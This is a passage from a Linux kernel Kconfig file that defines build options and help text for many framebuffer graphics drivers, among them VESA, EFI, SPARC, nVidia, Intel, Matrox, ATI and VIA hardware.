planar framebuffer device /dev/fb which will work on the most common HP graphic cards of the NGLE family, including the artist chips (in the 7xx and Bxxx series), HCRX, HCRX24, CRX, CRX24 and VisEG series. It is safe to enable this option, so you should probably say "Y". config FB_MAC bool "Generic Macintosh display support" depends on (FB = y) && MAC select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MACMODES config FB_HP300 bool depends on (FB = y) && DIO select FB_CFB_IMAGEBLIT default y config FB_TGA tristate "TGA/SFB+ framebuffer support" depends on FB && (ALPHA || TC) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select BITREVERSE ---help--- This is the frame buffer device driver for generic TGA and SFB+ graphic cards. These include DEC ZLXp-E1, -E2 and -E3 PCI cards, also known as PBXGA-A, -B and -C, and DEC ZLX-E1, -E2 and -E3 TURBOchannel cards, also known as PMAGD-A, -B and -C. Due to hardware limitations ZLX-E2 and E3 cards are not supported for DECstation 5000/200 systems. Additionally due to firmware limitations these cards may cause troubles with booting DECstation 5000/240 and /260 systems, but are fully supported under Linux if you manage to get it going. ;-) Say Y if you have one of those. config FB_UVESA tristate "Userspace VESA VGA graphics support" depends on FB && CONNECTOR select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MODE_HELPERS help This is the frame buffer driver for generic VBE 2.0 compliant graphic cards. It can also take advantage of VBE 3.0 features, such as refresh rate adjustment. This driver generally provides more features than vesafb but requires a userspace helper application called 'v86d'. See <file:Documentation/fb/uvesafb.txt> for more information. If unsure, say N. config FB_VESA bool "VESA VGA graphics support" depends on (FB = y) && X86 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_BOOT_VESA_SUPPORT help This is the frame buffer device driver for generic VESA 2.0 compliant graphic cards. The older VESA 1.2 cards are not supported. You will get a boot time penguin logo at no additional cost. Please read <file:Documentation/fb/vesafb.txt>. If unsure, say Y. config FB_EFI bool "EFI-based Framebuffer Support" depends on (FB = y) && X86 && EFI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the EFI frame buffer device driver. If the firmware on your platform is EFI 1.10 or UEFI 2.0, select Y to add support for using the EFI framebuffer as your console. config FB_N411 tristate "N411 Apollo/Hecuba devkit support" depends on FB && X86 && MMU select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS select FB_DEFERRED_IO select FB_HECUBA help This enables support for the Apollo display controller in its Hecuba form using the n411 devkit. config FB_HGA tristate "Hercules mono graphics support" depends on FB && X86 help Say Y here if you have a Hercules mono graphics card. To compile this driver as a module, choose M here: the module will be called hgafb. As this card technology is at least 25 years old, most people will answer N here. config FB_GBE bool "SGI Graphics Backend frame buffer support" depends on (FB = y) && SGI_IP32 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for SGI Graphics Backend. This chip is used in SGI O2 and Visual Workstation 320/540. config FB_GBE_MEM int "Video memory size in MB" depends on FB_GBE default 4 help This is the amount of memory reserved for the framebuffer, which can be any value between 1MB and 8MB. config FB_SBUS bool "SBUS and UPA framebuffers" depends on (FB = y) && SPARC help Say Y if you want support for SBUS or UPA based frame buffer device. config FB_BW2 bool "BWtwo support" depends on (FB = y) && (SPARC && FB_SBUS) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the BWtwo frame buffer. config FB_CG3 bool "CGthree support" depends on (FB = y) && (SPARC && FB_SBUS) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the CGthree frame buffer. config FB_CG6 bool "CGsix (GX,TurboGX) support" depends on (FB = y) && (SPARC && FB_SBUS) select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the CGsix (GX, TurboGX) frame buffer. config FB_FFB bool "Creator/Creator3D/Elite3D support" depends on FB_SBUS && SPARC64 select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the Creator, Creator3D, and Elite3D graphics boards. config FB_TCX bool "TCX (SS4/SS5 only) support" depends on FB_SBUS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the TCX 24/8bit frame buffer. config FB_CG14 bool "CGfourteen (SX) support" depends on FB_SBUS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the CGfourteen frame buffer on Desktop SPARCsystems with the SX graphics option. config FB_P9100 bool "P9100 (Sparcbook 3 only) support" depends on FB_SBUS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the P9100 card supported on Sparcbook 3 machines. config FB_LEO bool "Leo (ZX) support" depends on FB_SBUS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the SBUS-based Sun ZX (leo) frame buffer cards. config FB_IGA bool "IGA 168x display support" depends on (FB = y) && SPARC32 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the framebuffer device for the INTERGRAPHICS 1680 and successor frame buffer cards. config FB_XVR500 bool "Sun XVR-500 3DLABS Wildcat support" depends on (FB = y) && PCI && SPARC64 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the framebuffer device for the Sun XVR-500 and similar graphics cards based upon the 3DLABS Wildcat chipset. The driver only works on sparc64 systems where the system firmware has mostly initialized the card already. It is treated as a completely dumb framebuffer device. config FB_XVR2500 bool "Sun XVR-2500 3DLABS Wildcat support" depends on (FB = y) && PCI && SPARC64 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the framebuffer device for the Sun XVR-2500 and similar graphics cards based upon the 3DLABS Wildcat chipset. The driver only works on sparc64 systems where the system firmware has mostly initialized the card already. It is treated as a completely dumb framebuffer device. config FB_XVR1000 bool "Sun XVR-1000 support" depends on (FB = y) && SPARC64 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the framebuffer device for the Sun XVR-1000 and similar graphics cards. The driver only works on sparc64 systems where the system firmware has mostly initialized the card already. It is treated as a completely dumb framebuffer device. config FB_PVR2 tristate "NEC PowerVR 2 display support" depends on FB && SH_DREAMCAST select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Say Y here if you have a PowerVR 2 card in your box. If you plan to run linux on your Dreamcast, you will have to say Y here. This driver may or may not work on other PowerVR 2 cards, but is totally untested. Use at your own risk. If unsure, say N. To compile this driver as a module, choose M here: the module will be called pvr2fb. You can pass several parameters to the driver at boot time or at module load time. The parameters look like "video=pvr2:XXX", where the meaning of XXX can be found at the end of the main source file (<file:drivers/video/pvr2fb.c>). Please see the file <file:Documentation/fb/pvr2fb.txt>. config FB_OPENCORES tristate "OpenCores VGA/LCD core 2.0 framebuffer support" depends on FB && HAS_DMA select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This enables support for the OpenCores VGA/LCD core. The OpenCores VGA/LCD core is typically used together with softcore CPUs (e.g. OpenRISC or Microblaze) or hard processor systems (e.g. Altera socfpga or Xilinx Zynq) on FPGAs. The source code and specification for the core is available at <http://opencores.org/project,vga_lcd> config FB_S1D13XXX tristate "Epson S1D13XXX framebuffer support" depends on FB select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help Support for S1D13XXX framebuffer device family (currently only working with S1D13806). Product specs at <http://vdc.epson.com/> config FB_ATMEL tristate "AT91/AT32 LCD Controller support" depends on FB && HAVE_FB_ATMEL select FB_BACKLIGHT select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MODE_HELPERS select VIDEOMODE_HELPERS help This enables support for the AT91/AT32 LCD Controller. config FB_NVIDIA tristate "nVidia Framebuffer Support" depends on FB && PCI select FB_BACKLIGHT if FB_NVIDIA_BACKLIGHT select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select BITREVERSE select VGASTATE help This driver supports graphics boards with the nVidia chips, TNT and newer. For very old chipsets, such as the RIVA128, then use the rivafb. Say Y if you have such a graphics board. To compile this driver as a module, choose M here: the module will be called nvidiafb. config FB_NVIDIA_I2C bool "Enable DDC Support" depends on FB_NVIDIA select FB_DDC help This enables I2C support for nVidia Chipsets. This is used only for getting EDID information from the attached display allowing for robust video mode handling and switching. Because fbdev-2.6 requires that drivers must be able to independently validate video mode parameters, you should say Y here. config FB_NVIDIA_DEBUG bool "Lots of debug output" depends on FB_NVIDIA default n help Say Y here if you want the nVidia driver to output all sorts of debugging information to provide to the maintainer when something goes wrong. config FB_NVIDIA_BACKLIGHT bool "Support for backlight control" depends on FB_NVIDIA default y help Say Y here if you want to control the backlight of your display. config FB_RIVA tristate "nVidia Riva support" depends on FB && PCI select FB_BACKLIGHT if FB_RIVA_BACKLIGHT select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select BITREVERSE select VGASTATE help This driver supports graphics boards with the nVidia Riva/Geforce chips. Say Y if you have such a graphics board. To compile this driver as a module, choose M here: the module will be called rivafb. config FB_RIVA_I2C bool "Enable DDC Support" depends on FB_RIVA select FB_DDC help This enables I2C support for nVidia Chipsets. This is used only for getting EDID information from the attached display allowing for robust video mode handling and switching. Because fbdev-2.6 requires that drivers must be able to independently validate video mode parameters, you should say Y here. config FB_RIVA_DEBUG bool "Lots of debug output" depends on FB_RIVA default n help Say Y here if you want the Riva driver to output all sorts of debugging information to provide to the maintainer when something goes wrong. config FB_RIVA_BACKLIGHT bool "Support for backlight control" depends on FB_RIVA default y help Say Y here if you want to control the backlight of your display. config FB_I740 tristate "Intel740 support" depends on FB && PCI select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select VGASTATE select FB_DDC help This driver supports graphics cards based on Intel740 chip. config FB_I810 tristate "Intel 810/815 support" depends on FB && PCI && X86_32 && AGP_INTEL select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select VGASTATE help This driver supports the on-board graphics built in to the Intel 810 and 815 chipsets. Say Y if you have and plan to use such a board. To compile this driver as a module, choose M here: the module will be called i810fb. For more information, please read <file:Documentation/fb/intel810.txt> config FB_I810_GTF bool "use VESA Generalized Timing Formula" depends on FB_I810 help If you say Y, then the VESA standard, Generalized Timing Formula or GTF, will be used to calculate the required video timing values per video mode. Since the GTF allows nondiscrete timings (nondiscrete being a range of values as opposed to discrete being a set of values), you'll be able to use any combination of horizontal and vertical resolutions, and vertical refresh rates without having to specify your own timing parameters. This is especially useful to maximize the performance of an aging display, or if you just have a display with nonstandard dimensions. A VESA compliant monitor is recommended, but can still work with non-compliant ones. If you need or want this, then select this option. The timings may not be compliant with Intel's recommended values. Use at your own risk. If you say N, the driver will revert to discrete video timings using a set recommended by Intel in their documentation. If unsure, say N. config FB_I810_I2C bool "Enable DDC Support" depends on FB_I810 && FB_I810_GTF select FB_DDC help config FB_LE80578 tristate "Intel LE80578 (Vermilion) support" depends on FB && PCI && X86 select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This driver supports the LE80578 (Vermilion Range) chipset config FB_CARILLO_RANCH tristate "Intel Carillo Ranch support" depends on FB_LE80578 && FB && PCI && X86 help This driver supports the LE80578 (Carillo Ranch) board config FB_INTEL tristate "Intel 830M/845G/852GM/855GM/865G/915G/945G/945GM/965G/965GM support" depends on FB && PCI && X86 && AGP_INTEL && EXPERT select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_BOOT_VESA_SUPPORT if FB_INTEL = y depends on !DRM_I915 help This driver supports the on-board graphics built in to the Intel 830M/845G/852GM/855GM/865G/915G/915GM/945G/945GM/965G/965GM chipsets. Say Y if you have and plan to use such a board. To make FB_INTELFB=Y work you need to say AGP_INTEL=y too. To compile this driver as a module, choose M here: the module will be called intelfb. For more information, please read <file:Documentation/fb/intelfb.txt> config FB_INTEL_DEBUG bool "Intel driver Debug Messages" depends on FB_INTEL ---help--- Say Y here if you want the Intel driver to output all sorts of debugging information to provide to the maintainer when something goes wrong. config FB_INTEL_I2C bool "DDC/I2C for Intel framebuffer support" depends on FB_INTEL select FB_DDC default y help Say Y here if you want DDC/I2C support for your on-board Intel graphics. config FB_MATROX tristate "Matrox acceleration" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_TILEBLITTING select FB_MACMODES if PPC_PMAC ---help--- Say Y here if you have a Matrox Millennium, Matrox Millennium II, Matrox Mystique, Matrox Mystique 220, Matrox Productiva G100, Matrox Mystique G200, Matrox Millennium G200, Matrox Marvel G200 video, Matrox G400, G450 or G550 card in your box. To compile this driver as a module, choose M here: the module will be called matroxfb. You can pass several parameters to the driver at boot time or at module load time. The parameters look like "video=matroxfb:XXX", and are described in <file:Documentation/fb/matroxfb.txt>. config FB_MATROX_MILLENIUM bool "Millennium I/II support" depends on FB_MATROX help Say Y here if you have a Matrox Millennium or Matrox Millennium II video card. If you select "Advanced lowlevel driver options" below, you should check 4 bpp packed pixel, 8 bpp packed pixel, 16 bpp packed pixel, 24 bpp packed pixel and 32 bpp packed pixel. You can also use font widths different from 8. config FB_MATROX_MYSTIQUE bool "Mystique support" depends on FB_MATROX help Say Y here if you have a Matrox Mystique or Matrox Mystique 220 video card. If you select "Advanced lowlevel driver options" below, you should check 8 bpp packed pixel, 16 bpp packed pixel, 24 bpp packed pixel and 32 bpp packed pixel. You can also use font widths different from 8. config FB_MATROX_G bool "G100/G200/G400/G450/G550 support" depends on FB_MATROX ---help--- Say Y here if you have a Matrox G100, G200, G400, G450 or G550 based video card. If you select "Advanced lowlevel driver options", you should check 8 bpp packed pixel, 16 bpp packed pixel, 24 bpp packed pixel and 32 bpp packed pixel. You can also use font widths different from 8. If you need support for G400 secondary head, you must say Y to "Matrox I2C support" and "G400 second head support" right below. G450/G550 secondary head and digital output are supported without additional modules. The driver starts in monitor mode. You must use the matroxset tool (available at <ftp://platan.vc.cvut.cz/pub/linux/matrox-latest/>) to swap primary and secondary head outputs, or to change output mode. Secondary head driver always start in 640x480 resolution and you must use fbset to change it. Do not forget that second head supports only 16 and 32 bpp packed pixels, so it is a good idea to compile them into the kernel too. You can use only some font widths, as the driver uses generic painting procedures (the secondary head does not use acceleration engine). G450/G550 hardware can display TV picture only from secondary CRTC, and it performs no scaling, so picture must have 525 or 625 lines. config FB_MATROX_I2C tristate "Matrox I2C support" depends on FB_MATROX select FB_DDC ---help--- This drivers creates I2C buses which are needed for accessing the DDC (I2C) bus present on all Matroxes, an I2C bus which interconnects Matrox optional devices, like MGA-TVO on G200 and G400, and the secondary head DDC bus, present on G400 only. You can say Y or M here if you want to experiment with monitor detection code. You must say Y or M here if you want to use either second head of G400 or MGA-TVO on G200 or G400. If you compile it as module, it will create a module named i2c-matroxfb. config FB_MATROX_MAVEN tristate "G400 second head support" depends on FB_MATROX_G && FB_MATROX_I2C ---help--- WARNING !!! This support does not work with G450 !!! Say Y or M here if you want to use a secondary head (meaning two monitors in parallel) on G400 or MGA-TVO add-on on G200. Secondary head is not compatible with accelerated XFree 3.3.x SVGA servers - secondary head output is blanked while you are in X. With XFree 3.9.17 preview you can use both heads if you use SVGA over fbdev or the fbdev driver on first head and the fbdev driver on second head. If you compile it as module, two modules are created, matroxfb_crtc2 and matroxfb_maven. Matroxfb_maven is needed for both G200 and G400, matroxfb_crtc2 is needed only by G400. You must also load i2c-matroxfb to get it to run. The driver starts in monitor mode and you must use the matroxset tool (available at <ftp://platan.vc.cvut.cz/pub/linux/matrox-latest/>) to switch it to PAL or NTSC or to swap primary and secondary head outputs. Secondary head driver also always start in 640x480 resolution, you must use fbset to change it. Also do not forget that second head supports only 16 and 32 bpp packed pixels, so it is a good idea to compile them into the kernel too. You can use only some font widths, as the driver uses generic painting procedures (the secondary head does not use acceleration engine). config FB_RADEON tristate "ATI Radeon display support" depends on FB && PCI select FB_BACKLIGHT if FB_RADEON_BACKLIGHT select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MACMODES if PPC_OF help Choose this option if you want to use an ATI Radeon graphics card as a framebuffer device. There are both PCI and AGP versions. You don't need to choose this to run the Radeon in plain VGA mode. There is a product page at http://products.amd.com/en-us/GraphicCardResult.aspx config FB_RADEON_I2C bool "DDC/I2C for ATI Radeon support" depends on FB_RADEON select FB_DDC default y help Say Y here if you want DDC/I2C support for your Radeon board. config FB_RADEON_BACKLIGHT bool "Support for backlight control" depends on FB_RADEON default y help Say Y here if you want to control the backlight of your display. config FB_RADEON_DEBUG bool "Lots of debug output from Radeon driver" depends on FB_RADEON default n help Say Y here if you want the Radeon driver to output all sorts of debugging information to provide to the maintainer when something goes wrong. config FB_ATY128 tristate "ATI Rage128 display support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_BACKLIGHT if FB_ATY128_BACKLIGHT select FB_MACMODES if PPC_PMAC help This driver supports graphics boards with the ATI Rage128 chips. Say Y if you have such a graphics board and read <file:Documentation/fb/aty128fb.txt>. To compile this driver as a module, choose M here: the module will be called aty128fb. config FB_ATY128_BACKLIGHT bool "Support for backlight control" depends on FB_ATY128 default y help Say Y here if you want to control the backlight of your display. config FB_ATY tristate "ATI Mach64 display support" if PCI || ATARI depends on FB && !SPARC32 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_BACKLIGHT if FB_ATY_BACKLIGHT select FB_MACMODES if PPC help This driver supports graphics boards with the ATI Mach64 chips. Say Y if you have such a graphics board. To compile this driver as a module, choose M here: the module will be called atyfb. config FB_ATY_CT bool "Mach64 CT/VT/GT/LT (incl. 3D RAGE) support" depends on PCI && FB_ATY default y if SPARC64 && PCI help Say Y here to support use of ATI's 64-bit Rage boards (or other boards based on the Mach64 CT, VT, GT, and LT chipsets) as a framebuffer device. The ATI product support page for these boards is at <http://support.ati.com/products/pc/mach64/mach64.html>. config FB_ATY_GENERIC_LCD bool "Mach64 generic LCD support" depends on FB_ATY_CT help Say Y if you have a laptop with an ATI Rage LT PRO, Rage Mobility, Rage XC, or Rage XL chipset. config FB_ATY_GX bool "Mach64 GX support" if PCI depends on FB_ATY default y if ATARI help Say Y here to support use of the ATI Mach64 Graphics Expression board (or other boards based on the Mach64 GX chipset) as a framebuffer device. The ATI product support page for these boards is at <http://support.ati.com/products/pc/mach64/graphics_xpression.html>. config FB_ATY_BACKLIGHT bool "Support for backlight control" depends on FB_ATY default y help Say Y here if you want to control the backlight of your display. config FB_S3 tristate "S3 Trio/Virge support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_TILEBLITTING select FB_SVGALIB select VGASTATE select FONT_8x16 if FRAMEBUFFER_CONSOLE ---help--- Driver for graphics boards with S3 Trio / S3 Virge chip. config FB_S3_DDC bool "DDC for S3 support" depends on FB_S3 select FB_DDC default y help Say Y here if you want DDC support for your S3 graphics card. config FB_SAVAGE tristate "S3 Savage support" depends on FB && PCI select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select VGASTATE help This driver supports notebooks and computers with S3 Savage PCI/AGP chips. Say Y if you have such a graphics card. To compile this driver as a module, choose M here; the module will be called savagefb. config FB_SAVAGE_I2C bool "Enable DDC2 Support" depends on FB_SAVAGE select FB_DDC help This enables I2C support for S3 Savage Chipsets. This is used only for getting EDID information from the attached display allowing for robust video mode handling and switching. Because fbdev-2.6 requires that drivers must be able to independently validate video mode parameters, you should say Y here. config FB_SAVAGE_ACCEL bool "Enable Console Acceleration" depends on FB_SAVAGE default n help This option will compile in console acceleration support. If the resulting framebuffer console has bothersome glitches, then choose N here. config FB_SIS tristate "SiS/XGI display support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_BOOT_VESA_SUPPORT if FB_SIS = y help This is the frame buffer device driver for the SiS 300, 315, 330 and 340 series as well as XGI V3XT, V5, V8, Z7 graphics chipsets. Specs available at <http://www.sis.com> and <http://www.xgitech.com>. To compile this driver as a module, choose M here; the module will be called sisfb. config FB_SIS_300 bool "SiS 300 series support" depends on FB_SIS help Say Y here to support use of the SiS 300/305, 540, 630 and 730. config FB_SIS_315 bool "SiS 315/330/340 series and XGI support" depends on FB_SIS help Say Y here to support use of the SiS 315, 330 and 340 series (315/H/PRO, 55x, 650, 651, 740, 330, 661, 741, 760, 761) as well as XGI V3XT, V5, V8 and Z7. config FB_VIA tristate "VIA UniChrome (Pro) and Chrome9 display support" depends on FB && PCI && X86 && GPIOLIB && I2C select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select I2C_ALGOBIT help This is the frame buffer device driver for Graphics chips of VIA UniChrome (Pro) Family (CLE266,PM800/CN400,P4M800CE/P4M800Pro/ CN700/VN800,CX700/VX700,P4M890) and Chrome9 Family (K8M890,CN896 /P4M900,VX800) Say Y if you have a VIA UniChrome graphics board. To compile this driver as a module, choose M here: the module will be called viafb. if FB_VIA config FB_VIA_DIRECT_PROCFS bool "direct hardware access via procfs (DEPRECATED)(DANGEROUS)" depends on FB_VIA default n help Allow direct hardware access to some output registers via procfs. This is dangerous but may provide the only chance to get the correct output device configuration. Its use is strongly discouraged. config FB_VIA_X_COMPATIBILITY bool "X server compatibility" depends on FB_VIA default n help This option reduces the functionality (power saving, ...) of the framebuffer to avoid negative impact on the OpenChrome X server. If you use any X server other than fbdev you should enable this otherwise it should be safe to disable it and allow using all features. endif config FB_NEOMAGIC tristate "NeoMagic display support" depends on FB && PCI select FB_MODE_HELPERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select VGASTATE help This driver supports notebooks with NeoMagic PCI chips. Say Y if you have such a graphics card. To compile this driver as a module, choose M here: the module will be called neofb. config FB_KYRO tristate "IMG Kyro support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help Say Y here if you have a STG4000 / Kyro / PowerVR 3 based graphics board. To compile this driver as a module, choose M here: the module will be called kyrofb. config FB_3DFX tristate "3Dfx Banshee/Voodoo3/Voodoo5 display support" depends on FB && PCI select FB_CFB_IMAGEBLIT select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_MODE_HELPERS help This driver supports graphics boards with the 3Dfx Banshee, Voodoo3 or VSA-100 (aka Voodoo4/5) chips. Say Y if you have such a graphics board. To compile this driver as a module, choose M here: the module will be called tdfxfb. config FB_3DFX_ACCEL bool "3Dfx Acceleration functions" depends on FB_3DFX ---help--- This will compile the 3Dfx Banshee/Voodoo3/VSA-100 frame buffer device driver with acceleration functions. config FB_3DFX_I2C bool "Enable DDC/I2C support" depends on FB_3DFX select FB_DDC default y help Say Y here if you want DDC/I2C support for your 3dfx Voodoo3. config FB_VOODOO1 tristate "3Dfx Voodoo Graphics (sst1) support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- Say Y here if you have a 3Dfx Voodoo Graphics (Voodoo1/sst1) or Voodoo2 (cvg) based graphics card. To compile this driver as a module, choose M here: the module will be called sstfb. WARNING: Do not use any application that uses the 3D engine (namely glide) while using this driver. Please read the <file:Documentation/fb/sstfb.txt> for supported options and other important info support. config FB_VT8623 tristate "VIA VT8623 support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_TILEBLITTING select FB_SVGALIB select VGASTATE select FONT_8x16 if FRAMEBUFFER_CONSOLE ---help--- Driver for CastleRock integrated graphics core in the VIA VT8623 [Apollo CLE266] chipset. config FB_TRIDENT tristate "Trident/CyberXXX/CyberBlade support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- This is the frame buffer device driver for Trident PCI/AGP chipsets. Supported chipset families are TGUI 9440/96XX, 3DImage, Blade3D and Blade XP. There are also integrated versions of these chips called CyberXXXX, CyberImage or CyberBlade. These chips are mostly found in laptops but also on some motherboards including early VIA EPIA motherboards. For more information, read <file:Documentation/fb/tridentfb.txt> Say Y if you have such a graphics board. To compile this driver as a module, choose M here: the module will be called tridentfb. config FB_ARK tristate "ARK 2000PV support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_TILEBLITTING select FB_SVGALIB select VGASTATE select FONT_8x16 if FRAMEBUFFER_CONSOLE ---help--- Driver for PCI graphics boards with ARK 2000PV chip and ICS 5342 RAMDAC. config FB_PM3 tristate "Permedia3 support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the 3DLabs Permedia3 chipset, used in Formac ProFormance III, 3DLabs Oxygen VX1 & similar boards, 3DLabs Permedia3 Create!, Appian Jeronimo 2000 and maybe other boards. config FB_CARMINE tristate "Fujitsu carmine frame buffer support" depends on FB && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the Fujitsu Carmine chip. The driver provides two independent frame buffer devices. choice depends on FB_CARMINE prompt "DRAM timing" default FB_CARMINE_DRAM_EVAL config FB_CARMINE_DRAM_EVAL bool "Eval board timings" help Use timings which work on the eval card. config CARMINE_DRAM_CUSTOM bool "Custom board timings" help Use custom board timings. endchoice config FB_AU1100 bool "Au1100 LCD Driver" depends on (FB = y) && MIPS_ALCHEMY select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the framebuffer driver for the AMD Au1100 SOC. It can drive various panels and CRTs by passing in kernel cmd line option au1100fb:panel=<name>. config FB_AU1200 bool "Au1200/Au1300 LCD Driver" depends on (FB = y) && MIPS_ALCHEMY select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS help This is the framebuffer driver for the Au1200/Au1300 SOCs. It can drive various panels and CRTs by passing in kernel cmd line option au1200fb:panel=<name>. config FB_VT8500 bool "VIA VT8500 framebuffer support" depends on (FB = y) && ARM && ARCH_VT8500 select FB_SYS_FILLRECT if (!FB_WMT_GE_ROPS) select FB_SYS_COPYAREA if (!FB_WMT_GE_ROPS) select FB_SYS_IMAGEBLIT select FB_MODE_HELPERS select VIDEOMODE_HELPERS help This is the framebuffer driver for VIA VT8500 integrated LCD controller. config FB_WM8505 bool "Wondermedia WM8xxx-series frame buffer support" depends on (FB = y) && ARM && ARCH_VT8500 select FB_SYS_FILLRECT if (!FB_WMT_GE_ROPS) select FB_SYS_COPYAREA if (!FB_WMT_GE_ROPS) select FB_SYS_IMAGEBLIT select FB_MODE_HELPERS select VIDEOMODE_HELPERS help This is the framebuffer driver for WonderMedia WM8xxx-series integrated LCD controller. This driver covers the WM8505, WM8650 and WM8850 SoCs. config FB_WMT_GE_ROPS bool "VT8500/WM8xxx accelerated raster ops support" depends on (FB = y) && (FB_VT8500 || FB_WM8505) default n help This adds support for accelerated raster operations on the VIA VT8500 and Wondermedia 85xx series SoCs. source "drivers/video/fbdev/geode/Kconfig" config FB_HIT tristate "HD64461 Frame Buffer support" depends on FB && HD64461 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the Hitachi HD64461 LCD frame buffer card. config FB_PMAG_AA bool "PMAG-AA TURBOchannel framebuffer support" depends on (FB = y) && TC select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help Support for the PMAG-AA TURBOchannel framebuffer card (1280x1024x1) used mainly in the MIPS-based DECstation series. config FB_PMAG_BA tristate "PMAG-BA TURBOchannel framebuffer support" depends on FB && TC select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help Support for the PMAG-BA TURBOchannel framebuffer card (1024x864x8) used mainly in the MIPS-based DECstation series. config FB_PMAGB_B tristate "PMAGB-B TURBOchannel framebuffer support" depends on FB && TC select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help Support for the PMAGB-B TURBOchannel framebuffer card used mainly in the MIPS-based DECstation series. The card is currently only supported in 1280x1024x8 mode. config FB_MAXINE bool "Maxine (Personal DECstation) onboard framebuffer support" depends on (FB = y) && MACH_DECSTATION select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help Support for the onboard framebuffer (1024x768x8) in the Personal DECstation series (Personal DECstation 5000/20, /25, /33, /50, Codename "Maxine"). config FB_G364 bool "G364 frame buffer support" depends on (FB = y) && (MIPS_MAGNUM_4000 || OLIVETTI_M700) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help The G364 driver is the framebuffer used in MIPS Magnum 4000 and Olivetti M700-10 systems. config FB_68328 bool "Motorola 68328 native frame buffer support" depends on (FB = y) && (M68328 || M68EZ328 || M68VZ328) select 